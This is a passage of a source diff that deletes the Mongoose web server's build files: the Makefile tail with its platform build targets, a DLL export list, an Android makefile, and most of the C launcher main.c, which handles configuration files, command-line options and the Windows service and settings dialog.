-         echo '#define LUA_LIB' ; \
-         echo '#define lobject_c' ; \
-         echo '#define lua_c' ; \
-         echo '#define ltable_c' ; \
-         echo '#include "lua_5.2.1.h"' ; \
-         cat $(LUA_HEADERS) $(LUA_SOURCES) | sed '/^#include "/d') > $@
-
-lua_5.2.1.h:
-	cat $(LUA)/luaconf.h $(LUA)/lua.h $(LUA)/lauxlib.h $(LUA)/lualib.h | \
-         sed '/^#include "/d' > $@
-
-# Stock windows binary builds with Lua and YASSL library.
-YASSL       = ../../cyassl-2.4.6
-YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-              -D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-              -D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-              -D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-              -D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
-YASSL_SOURCES = \
-  $(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
-  $(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
-  $(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
-  $(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
-  $(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
-  $(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
-  $(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
-  $(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
-  $(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
-  $(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
-  $(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
-  $(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
-  $(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
-  $(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
-  $(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
-  $(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
-
-ALL_SOURCES = ../mongoose.c main.c sqlite3.c lsqlite3.c lua_5.2.1.c \
-              $(YASSL_SOURCES)
-ALL_OBJECTS = $(ALL_SOURCES:%.c=%.o)
-ALL_WINOBJS = $(ALL_SOURCES:%.c=%.obj)
-
-SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS
-MONGOOSE_FLAGS = -DNO_SSL_DL -DUSE_LUA -DUSE_LUA_SQLITE3 -I.. $(COPT)
-
-FLAGS = $(MONGOOSE_FLAGS) $(SQLITE_FLAGS) $(YASSL_FLAGS) $(LUA_FLAGS)
-
-# Using Visual Studio 6.0. To build Mongoose:
-#  Set MSVC variable below to where VS 6.0 is installed on your system
-#  Run "PATH_TO_VC6\bin\nmake windows"
-MSVC = ../../vc6
-#DBG = /Zi /Od
-DBG  = /DNDEBUG /O1
-CL   = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /GA /I$(MSVC)/include
-LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
-            user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
-LINK = $(MSVC)/bin/link $(LINK_FLAGS)
-
-all:
-	@echo "make (linux|bsd|solaris|mac|windows|mingw|cygwin)"
-
-%.obj: %.c
-	$(CL) /c $(FLAGS) /Fo$@ $<
-
-%.o: %.c
-	$(CC) -o $@ $< -c $(FLAGS) $(CFLAGS)
-
-# Lua library for Windows
-lua.lib: $(LUA_WINOBJS)
-	$(MSVC)/bin/lib /out:$@ $(LUA_WINOBJS)
-
-# To build with lua, make sure you have Lua unpacked into lua-5.2.1 directory
-linux_lua: $(ALL_OBJECTS)
-	$(CC) $(ALL_OBJECTS) -o $(PROG) -ldl
-
-mongoose.o: mod_lua.c
-
-# Make sure that the compiler flags come last in the compilation string.
-# If not so, this can break some on some Linux distros which use
-# "-Wl,--as-needed" turned on by default  in cc command.
-# Also, this is turned in many other distros in static linkage builds.
-linux:
-	$(CC) ../mongoose.c main.c -o $(PROG) -ldl $(CFLAGS)
-
-mac: bsd
-bsd:
-	$(CC) ../mongoose.c main.c -o $(PROG) $(CFLAGS)
-
-bsd_lua: $(ALL_OBJECTS)
-	$(CC) $(ALL_OBJECTS) -o $@
-
-solaris:
-	$(CC) ../mongoose.c main.c -lnsl -lsocket -o $(PROG) $(CFLAGS)
-
-lib$(PROG).a: $(ALL_OBJECTS)
-	ar cr $@ $(ALL_OBJECTS)
-
-$(PROG).lib: $(ALL_WINOBJS)
-	$(MSVC)/bin/lib /out:$@ $(ALL_WINOBJS)
-
-# For codesign to work in non-interactive mode, unlock login keychain:
-# security unlock ~/Library/Keychains/login.keychain
-# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
-Mongoose: ../mongoose.c main.c
-	$(CC) $(ALL_SOURCES) \
-          -DUSE_COCOA $(CFLAGS) $(FLAGS) -mmacosx-version-min=10.4 \
-          -framework Cocoa -ObjC -arch i386 -arch x86_64 -o Mongoose
-
-cocoa: Mongoose
-	V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`; DIR=dmg/Mongoose.app && rm -rf $$DIR && mkdir -p $$DIR/Contents/{MacOS,Resources} && install -m 644 mongoose_*.png $$DIR/Contents/Resources/ && install -m 644 Info.plist $$DIR/Contents/ && install -m 755 Mongoose $$DIR/Contents/MacOS/ && ln -fs /Applications dmg/ ; hdiutil create Mongoose_$$V.dmg -volname "Mongoose $$V" -srcfolder dmg -ov #; rm -rf dmg
-
-un:
-	$(CC) ../test/unit_test.c -o unit_test lua_5.2.1.c $(CFLAGS) -g -O0
-	./unit_test
-
-wi:
-	$(CL) test/unit_test.c $(LUA_SOURCES) $(LUA_FLAGS) \
-          $(YASSL_SOURCES) $(YASSL_FLAGS) /I. /DNO_SSL_DL \
-          /link /libpath:$(MSVC)/lib advapi32.lib /out:unit_test.exe
-	./unit_test.exe
-
-windows: $(ALL_WINOBJS)
-	$(MSVC)/bin/rc res.rc
-	$(LINK) /nologo $(ALL_WINOBJS) res.res /out:$(PROG).exe
-
-windows_tiny: $(ALL_SOURCES)
-	$(MSVC)/bin/rc res.rc
-	$(CL) /nologo ../mongoose.c main.c /I.. \
-          /link $(LINK_FLAGS) res.res /out:$(PROG)-tiny.exe
-
-# Build for Windows under MinGW
-#MINGWDBG= -DDEBUG -O0 -ggdb
-MINGWDBG= -DNDEBUG -Os
-MINGWOPT=  -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
-mingw:
-	windres res.rc res.o
-	$(CC) $(MINGWOPT) ../mongoose.c -lws2_32 \
-		-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
-	$(CC) $(MINGWOPT) ../mongoose.c main.c res.o \
-	-lws2_32 -ladvapi32 -lcomdlg32 -o $(PROG).exe
-
-# Build for Windows under Cygwin
-#CYGWINDBG= -DDEBUG -O0 -ggdb
-CYGWINDBG= -DNDEBUG -Os
-CYGWINOPT=  -W -Wall -mthreads -Wl,--subsystem,console $(CYGWINDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
-cygwin:
-	windres res.rc res.o
-	$(CC) $(CYGWINOPT) ../mongoose.c -lws2_32 \
-		-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
-	$(CC) $(CYGWINOPT) -I.. ../mongoose.c main.c res.o \
-	-lws2_32 -ladvapi32 -o $(PROG).exe
-
-tests:
-	perl ../test/test.pl $(TEST)
-
-tarball: clean
-	F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`.tgz ; cd ../.. && tar -czf x mongoose/{LICENSE,*.[ch]} && mv x mongoose/build/$$F
-
-release: tarball cocoa
-	wine make windows windows_tiny
-	V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`; upx mongoose.exe; upx mongoose-tiny.exe ; cp mongoose.exe mongoose-$$V.exe; cp mongoose-tiny.exe mongoose-tiny-$$V.exe; cp mongoose.exe mongoose_php_bundle/; zip -r mongoose-php-$$V.zip mongoose_php_bundle/
-
-clean:
-	cd ../examples && $(MAKE) clean
-	rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
-	$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
-	*.exe *dmg* $(ALL_OBJECTS) $(ALL_WINOBJS)

build/dll.def

@@ -1,15 +0,0 @@
-LIBRARY
-EXPORTS
-	mg_start
-	mg_stop
-	mg_read
-	mg_write
-	mg_printf
-	mg_get_header
-	mg_get_var
-	mg_get_cookie
-	mg_get_option
-	mg_get_valid_option_names
-	mg_version
-	mg_modify_passwords_file
-	mg_md5

build/jni/Android.mk

@@ -1,6 +0,0 @@
-LOCAL_PATH := $(call my-dir)/../..
-include $(CLEAR_VARS)
-LOCAL_CFLAGS    := -std=c99 -O2 -W -Wall -pthread -pipe $(COPT)
-LOCAL_MODULE    := mongoose
-LOCAL_SRC_FILES := main.c mongoose.c
-include $(BUILD_EXECUTABLE)

build/main.c

@@ -1,985 +0,0 @@
-// Copyright (c) 2004-2013 Sergey Lyubka
-//
-// Permission is hereby granted, free of charge, to any person obtaining a copy
-// of this software and associated documentation files (the "Software"), to deal
-// in the Software without restriction, including without limitation the rights
-// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-// copies of the Software, and to permit persons to whom the Software is
-// furnished to do so, subject to the following conditions:
-//
-// The above copyright notice and this permission notice shall be included in
-// all copies or substantial portions of the Software.
-//
-// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-// THE SOFTWARE.
-
-#if defined(_WIN32)
-#define _CRT_SECURE_NO_WARNINGS  // Disable deprecation warning in VS2005
-#else
-#define _XOPEN_SOURCE 600  // For PATH_MAX on linux
-#endif
-
-#include <sys/stat.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <signal.h>
-#include <string.h>
-#include <errno.h>
-#include <limits.h>
-#include <stddef.h>
-#include <stdarg.h>
-#include <ctype.h>
-
-#include "mongoose.h"
-
-#ifdef _WIN32
-#include <windows.h>
-#include <winsvc.h>
-#include <shlobj.h>
-
-#ifndef PATH_MAX
-#define PATH_MAX MAX_PATH
-#endif
-
-#ifndef S_ISDIR
-#define S_ISDIR(x) ((x) & _S_IFDIR)
-#endif
-
-#define DIRSEP '\\'
-#define snprintf _snprintf
-#define vsnprintf _vsnprintf
-#define sleep(x) Sleep((x) * 1000)
-#define WINCDECL __cdecl
-#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
-#else
-#include <sys/wait.h>
-#include <unistd.h>
-#define DIRSEP '/'
-#define WINCDECL
-#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
-#endif // _WIN32
-
-#define MAX_OPTIONS 100
-#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
-
-static int exit_flag;
-static char server_name[40];        // Set by init_server_name()
-static char config_file[PATH_MAX];  // Set by process_command_line_arguments()
-static struct mg_context *ctx;      // Set by start_mongoose()
-
-#if !defined(CONFIG_FILE)
-#define CONFIG_FILE "mongoose.conf"
-#endif /* !CONFIG_FILE */
-
-static void WINCDECL signal_handler(int sig_num) {
-#if !defined(_WIN32)
-  // Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
-  // reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
-  // fails if SIGCHLD is ignored, making system() non-functional.
-  if (sig_num == SIGCHLD) {
-    do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
-  } else
-#endif
-  { exit_flag = sig_num; }
-}
-
-static void die(const char *fmt, ...) {
-  va_list ap;
-  char msg[200];
-
-  va_start(ap, fmt);
-  vsnprintf(msg, sizeof(msg), fmt, ap);
-  va_end(ap);
-
-#if defined(_WIN32)
-  MessageBox(NULL, msg, "Error", MB_OK);
-#else
-  fprintf(stderr, "%s\n", msg);
-#endif
-
-  exit(EXIT_FAILURE);
-}
-
-static void show_usage_and_exit(void) {
-  const char **names;
-  int i;
-
-  fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
-          mg_version(), __DATE__);
-  fprintf(stderr, "Usage:\n");
-  fprintf(stderr, "  mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
-  fprintf(stderr, "  mongoose [config_file]\n");
-  fprintf(stderr, "  mongoose [-option value ...]\n");
-  fprintf(stderr, "\nOPTIONS:\n");
-
-  names = mg_get_valid_option_names();
-  for (i = 0; names[i] != NULL; i += 2) {
-    fprintf(stderr, "  -%s %s\n",
-            names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
-  }
-  exit(EXIT_FAILURE);
-}
-
-#if defined(_WIN32) || defined(USE_COCOA)
-static const char *config_file_top_comment =
-"# Mongoose web server configuration file.\n"
-"# For detailed description of every option, visit\n"
-"# https://github.com/valenok/mongoose/blob/master/UserManual.md\n"
-"# Lines starting with '#' and empty lines are ignored.\n"
-"# To make a change, remove leading '#', modify option's value,\n"
-"# save this file and then restart Mongoose.\n\n";
-
-static const char *get_url_to_first_open_port(const struct mg_context *ctx) {
-  static char url[100];
-  const char *open_ports = mg_get_option(ctx, "listening_ports");
-  int a, b, c, d, port, n;
-
-  if (sscanf(open_ports, "%d.%d.%d.%d:%d%n", &a, &b, &c, &d, &port, &n) == 5) {
-    snprintf(url, sizeof(url), "%s://%d.%d.%d.%d:%d",
-             open_ports[n] == 's' ? "https" : "http", a, b, c, d, port);
-  } else if (sscanf(open_ports, "%d%n", &port, &n) == 1) {
-    snprintf(url, sizeof(url), "%s://localhost:%d",
-             open_ports[n] == 's' ? "https" : "http", port);
-  } else {
-    snprintf(url, sizeof(url), "%s", "http://localhost:8080");
-  }
-
-  return url;
-}
-
-static void create_config_file(const char *path) {
-  const char **names, *value;
-  FILE *fp;
-  int i;
-
-  // Create config file if it is not present yet
-  if ((fp = fopen(path, "r")) != NULL) {
-    fclose(fp);
-  } else if ((fp = fopen(path, "a+")) != NULL) {
-    fprintf(fp, "%s", config_file_top_comment);
-    names = mg_get_valid_option_names();
-    for (i = 0; names[i * 2] != NULL; i++) {
-      value = mg_get_option(ctx, names[i * 2]);
-      fprintf(fp, "# %s %s\n", names[i * 2], value ? value : "<value>");
-    }
-    fclose(fp);
-  }
-}
-#endif
-
-static char *sdup(const char *str) {
-  char *p;
-  if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
-    strcpy(p, str);
-  }
-  return p;
-}
-
-static void set_option(char **options, const char *name, const char *value) {
-  int i;
-
-  for (i = 0; i < MAX_OPTIONS - 3; i++) {
-    if (options[i] == NULL) {
-      options[i] = sdup(name);
-      options[i + 1] = sdup(value);
-      options[i + 2] = NULL;
-      break;
-    } else if (!strcmp(options[i], name)) {
-      free(options[i + 1]);
-      options[i + 1] = sdup(value);
-      break;
-    }
-  }
-
-  if (i == MAX_OPTIONS - 3) {
-    die("%s", "Too many options specified");
-  }
-}
-
-static void process_command_line_arguments(char *argv[], char **options) {
-  char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
-  FILE *fp = NULL;
-  size_t i, cmd_line_opts_start = 1, line_no = 0;
-
-  // Should we use a config file ?
-  if (argv[1] != NULL && argv[1][0] != '-') {
-    snprintf(config_file, sizeof(config_file), "%s", argv[1]);
-    cmd_line_opts_start = 2;
-  } else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
-    // No command line flags specified. Look where binary lives
-    snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
-  } else {
-    snprintf(config_file, sizeof(config_file), "%.*s%c%s",
-             (int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
-  }
-
-  fp = fopen(config_file, "r");
-
-  // If config file was set in command line and open failed, die
-  if (cmd_line_opts_start == 2 && fp == NULL) {
-    die("Cannot open config file %s: %s", config_file, strerror(errno));
-  }
-
-  // Load config file settings first
-  if (fp != NULL) {
-    fprintf(stderr, "Loading config file %s\n", config_file);
-
-    // Loop over the lines in config file
-    while (fgets(line, sizeof(line), fp) != NULL) {
-      line_no++;
-
-      // Ignore empty lines and comments
-      for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
-      if (line[i] == '#' || line[i] == '\0') {
-        continue;
-      }
-
-      if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
-        printf("%s: line %d is invalid, ignoring it:\n %s",
-               config_file, (int) line_no, line);
-      } else {
-        set_option(options, opt, val);
-      }
-    }
-
-    (void) fclose(fp);
-  }
-
-  // If we're under MacOS and started by launchd, then the second
-  // argument is process serial number, -psn_.....
-  // In this case, don't process arguments at all.
-  if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
-    // Handle command line flags.
-    // They override config file and default settings.
-    for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
-      if (argv[i][0] != '-' || argv[i + 1] == NULL) {
-        show_usage_and_exit();
-      }
-      set_option(options, &argv[i][1], argv[i + 1]);
-    }
-  }
-}
-
-static void init_server_name(void) {
-  snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s",
-           mg_version());
-}
-
-static int log_message(const struct mg_connection *conn, const char *message) {
-  (void) conn;
-  printf("%s\n", message);
-  return 0;
-}
-
-static int is_path_absolute(const char *path) {
-#ifdef _WIN32
-  return path != NULL &&
-    ((path[0] == '\\' && path[1] == '\\') ||  // UNC path, e.g. \\server\dir
-     (isalpha(path[0]) && path[1] == ':' && path[2] == '\\'));  // E.g. X:\dir
-#else
-  return path != NULL && path[0] == '/';
-#endif
-}
-
-static char *get_option(char **options, const char *option_name) {
-  int i;
-
-  for (i = 0; options[i] != NULL; i++)
-    if (!strcmp(options[i], option_name))
-      return options[i + 1];
-
-  return NULL;
-}
-
-static void verify_existence(char **options, const char *option_name,
-                             int must_be_dir) {
-  struct stat st;
-  const char *path = get_option(options, option_name);
-
-  if (path != NULL && (stat(path, &st) != 0 ||
-                       ((S_ISDIR(st.st_mode) ? 1 : 0) != must_be_dir))) {
-    die("Invalid path for %s: [%s]: (%s). Make sure that path is either "
-        "absolute, or it is relative to mongoose executable.",
-        option_name, path, strerror(errno));
-  }
-}
-
-static void set_absolute_path(char *options[], const char *option_name,
-                              const char *path_to_mongoose_exe) {
-  char path[PATH_MAX], abs[PATH_MAX], *option_value;
-  const char *p;
-
-  // Check whether option is already set
-  option_value = get_option(options, option_name);
-
-  // If option is already set and it is an absolute path,
-  // leave it as it is -- it's already absolute.
-  if (option_value != NULL && !is_path_absolute(option_value)) {
-    // Not absolute. Use the directory where mongoose executable lives
-    // be the relative directory for everything.
-    // Extract mongoose executable directory into path.
-    if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
-      getcwd(path, sizeof(path));
-    } else {
-      snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
-               path_to_mongoose_exe);
-    }
-
-    strncat(path, "/", sizeof(path) - 1);
-    strncat(path, option_value, sizeof(path) - 1);
-
-    // Absolutize the path, and set the option
-    abs_path(path, abs, sizeof(abs));
-    set_option(options, option_name, abs);
-  }
-}
-
-static void start_mongoose(int argc, char *argv[]) {
-  struct mg_callbacks callbacks;
-  char *options[MAX_OPTIONS];
-  int i;
-
-  // Edit passwords file if -A option is specified
-  if (argc > 1 && !strcmp(argv[1], "-A")) {
-    if (argc != 6) {
-      show_usage_and_exit();
-    }
-    exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
-         EXIT_SUCCESS : EXIT_FAILURE);
-  }
-
-  // Show usage if -h or --help options are specified
-  if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
-    show_usage_and_exit();
-  }
-
-  options[0] = NULL;
-  set_option(options, "document_root", ".");
-
-  // Update config based on command line arguments
-  process_command_line_arguments(argv, options);
-
-  // Make sure we have absolute paths for files and directories
-  // https://github.com/valenok/mongoose/issues/181
-  set_absolute_path(options, "document_root", argv[0]);
-  set_absolute_path(options, "put_delete_auth_file", argv[0]);
-  set_absolute_path(options, "cgi_interpreter", argv[0]);
-  set_absolute_path(options, "access_log_file", argv[0]);
-  set_absolute_path(options, "error_log_file", argv[0]);
-  set_absolute_path(options, "global_auth_file", argv[0]);
-  set_absolute_path(options, "ssl_certificate", argv[0]);
-
-  // Make extra verification for certain options
-  verify_existence(options, "document_root", 1);
-  verify_existence(options, "cgi_interpreter", 0);
-  verify_existence(options, "ssl_certificate", 0);
-
-  // Setup signal handler: quit on Ctrl-C
-  signal(SIGTERM, signal_handler);
-  signal(SIGINT, signal_handler);
-
-  // Start Mongoose
-  memset(&callbacks, 0, sizeof(callbacks));
-  callbacks.log_message = &log_message;
-  ctx = mg_start(&callbacks, NULL, (const char **) options);
-  for (i = 0; options[i] != NULL; i++) {
-    free(options[i]);
-  }
-
-  if (ctx == NULL) {
-    die("%s", "Failed to start Mongoose.");
-  }
-}
-
-#ifdef _WIN32
-enum {
-  ID_ICON = 100, ID_QUIT, ID_SETTINGS, ID_SEPARATOR, ID_INSTALL_SERVICE,
-  ID_REMOVE_SERVICE, ID_STATIC, ID_GROUP, ID_SAVE, ID_RESET_DEFAULTS,
-  ID_STATUS, ID_CONNECT,
-
-  // All dynamically created text boxes for options have IDs starting from
-  // ID_CONTROLS, incremented by one.
-  ID_CONTROLS = 200,
-
-  // Text boxes for files have "..." buttons to open file browser. These
-  // buttons have IDs that are ID_FILE_BUTTONS_DELTA higher than associated
-  // text box ID.
-  ID_FILE_BUTTONS_DELTA = 1000
-};
-static HICON hIcon;
-static SERVICE_STATUS ss;
-static SERVICE_STATUS_HANDLE hStatus;
-static const char *service_magic_argument = "--";
-static NOTIFYICONDATA TrayIcon;
-
-static void WINAPI ControlHandler(DWORD code) {
-  if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
-    ss.dwWin32ExitCode = 0;
-    ss.dwCurrentState = SERVICE_STOPPED;
-  }
-  SetServiceStatus(hStatus, &ss);
-}
-
-static void WINAPI ServiceMain(void) {
-  ss.dwServiceType = SERVICE_WIN32;
-  ss.dwCurrentState = SERVICE_RUNNING;
-  ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
-
-  hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
-  SetServiceStatus(hStatus, &ss);
-
-  while (ss.dwCurrentState == SERVICE_RUNNING) {
-    Sleep(1000);
-  }
-  mg_stop(ctx);
-
-  ss.dwCurrentState = SERVICE_STOPPED;
-  ss.dwWin32ExitCode = (DWORD) -1;
-  SetServiceStatus(hStatus, &ss);
-}
-
-
-static void show_error(void) {
-  char buf[256];
-  FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
-                NULL, GetLastError(),
-                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
-                buf, sizeof(buf), NULL);
-  MessageBox(NULL, buf, "Error", MB_OK);
-}
-
-static void *align(void *ptr, DWORD alig) {
-  ULONG ul = (ULONG) ptr;
-  ul += alig;
-  ul &= ~alig;
-  return ((void *) ul);
-}
-
-static int is_boolean_option(const char *option_name) {
-  return !strcmp(option_name, "enable_directory_listing") ||
-    !strcmp(option_name, "enable_keep_alive");
-}
-
-static int is_filename_option(const char *option_name) {
-  return !strcmp(option_name, "cgi_interpreter") ||
-    !strcmp(option_name, "global_auth_file") ||
-    !strcmp(option_name, "put_delete_auth_file") ||
-    !strcmp(option_name, "access_log_file") ||
-    !strcmp(option_name, "error_log_file") ||
-    !strcmp(option_name, "ssl_certificate");
-}
-
-static int is_directory_option(const char *option_name) {
-  return !strcmp(option_name, "document_root");
-}
-
-static int is_numeric_options(const char *option_name) {
-  return !strcmp(option_name, "num_threads");
-}
-
-static void save_config(HWND hDlg, FILE *fp) {
-  char value[2000];
-  const char **options, *name, *default_value;
-  int i, id;
-
-  fprintf(fp, "%s", config_file_top_comment);
-  options = mg_get_valid_option_names();
-  for (i = 0; options[i * 2] != NULL; i++) {
-    name = options[i * 2];
-    id = ID_CONTROLS + i;
-    if (is_boolean_option(name)) {
-      snprintf(value, sizeof(value), "%s",
-               IsDlgButtonChecked(hDlg, id) ? "yes" : "no");
-    } else {
-      GetDlgItemText(hDlg, id, value, sizeof(value));
-    }
-    default_value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
-    // If value is the same as default, skip it
-    if (strcmp(value, default_value) != 0) {
-      fprintf(fp, "%s %s\n", name, value);
-    }
-  }
-}
-
-static BOOL CALLBACK DlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lP) {
-  FILE *fp;
-  int i;
-  const char *name, *value, **options = mg_get_valid_option_names();
-
-  switch (msg) {
-    case WM_CLOSE:
-      DestroyWindow(hDlg);
-      break;
-
-    case WM_COMMAND:
-      switch (LOWORD(wParam)) {
-        case ID_SAVE:
-          EnableWindow(GetDlgItem(hDlg, ID_SAVE), FALSE);
-          if ((fp = fopen(config_file, "w+")) != NULL) {
-            save_config(hDlg, fp);
-            fclose(fp);
-            mg_stop(ctx);
-            start_mongoose(__argc, __argv);
-          }
-          EnableWindow(GetDlgItem(hDlg, ID_SAVE), TRUE);
-          break;
-        case ID_RESET_DEFAULTS:
-          for (i = 0; options[i * 2] != NULL; i++) {
-            name = options[i * 2];
-            value = options[i * 2 + 1] == NULL ? "" : options[i * 2 + 1];
-            if (is_boolean_option(name)) {
-              CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
-                             BST_CHECKED : BST_UNCHECKED);
-            } else {
-              SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), value);
-            }
-          }
-          break;
-      }
-
-      for (i = 0; options[i * 2] != NULL; i++) {
-        name = options[i * 2];
-        if ((is_filename_option(name) || is_directory_option(name)) &&
-            LOWORD(wParam) == ID_CONTROLS + i + ID_FILE_BUTTONS_DELTA) {
-          OPENFILENAME of;
-          BROWSEINFO bi;
-          char path[PATH_MAX] = "";
-
-          memset(&of, 0, sizeof(of));
-          of.lStructSize = sizeof(of);
-          of.hwndOwner = (HWND) hDlg;
-          of.lpstrFile = path;
-          of.nMaxFile = sizeof(path);
-          of.lpstrInitialDir = mg_get_option(ctx, "document_root");
-          of.Flags = OFN_CREATEPROMPT | OFN_NOCHANGEDIR;
-
-          memset(&bi, 0, sizeof(bi));
-          bi.hwndOwner = (HWND) hDlg;
-          bi.lpszTitle = "Choose WWW root directory:";
-          bi.ulFlags = BIF_RETURNONLYFSDIRS;
-
-          if (is_directory_option(name)) {
-            SHGetPathFromIDList(SHBrowseForFolder(&bi), path);
-          } else {
-            GetOpenFileName(&of);
-          }
-
-          if (path[0] != '\0') {
-            SetWindowText(GetDlgItem(hDlg, ID_CONTROLS + i), path);
-          }
-        }
-      }
-
-      break;
-
-    case WM_INITDIALOG:
-      SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_SMALL, (LPARAM) hIcon);
-      SendMessage(hDlg, WM_SETICON,(WPARAM) ICON_BIG, (LPARAM) hIcon);
-      SetWindowText(hDlg, "Mongoose settings");
-      SetFocus(GetDlgItem(hDlg, ID_SAVE));
-      for (i = 0; options[i * 2] != NULL; i++) {
-        name = options[i * 2];
-        value = mg_get_option(ctx, name);
-        if (is_boolean_option(name)) {
-          CheckDlgButton(hDlg, ID_CONTROLS + i, !strcmp(value, "yes") ?
-                         BST_CHECKED : BST_UNCHECKED);
-        } else {
-          SetDlgItemText(hDlg, ID_CONTROLS + i, value == NULL ? "" : value);
-        }
-      }
-      break;
-    default:
-      break;
-  }
-
-  return FALSE;
-}
-
-static void add_control(unsigned char **mem, DLGTEMPLATE *dia, WORD type,
-                        DWORD id, DWORD style, WORD x, WORD y,
-                        WORD cx, WORD cy, const char *caption) {
-  DLGITEMTEMPLATE *tp;
-  LPWORD p;
-
-  dia->cdit++;
-
-  *mem = align(*mem, 3);
-  tp = (DLGITEMTEMPLATE *) *mem;
-
-  tp->id = (WORD)id;
-  tp->style = style;
-  tp->dwExtendedStyle = 0;
-  tp->x = x;
-  tp->y = y;
-  tp->cx = cx;
-  tp->cy = cy;
-
-  p = align(*mem + sizeof(*tp), 1);
-  *p++ = 0xffff;
-  *p++ = type;
-
-  while (*caption != '\0') {
-    *p++ = (WCHAR) *caption++;
-  }
-  *p++ = 0;
-  p = align(p, 1);
-
-  *p++ = 0;
-  *mem = (unsigned char *) p;
-}
-
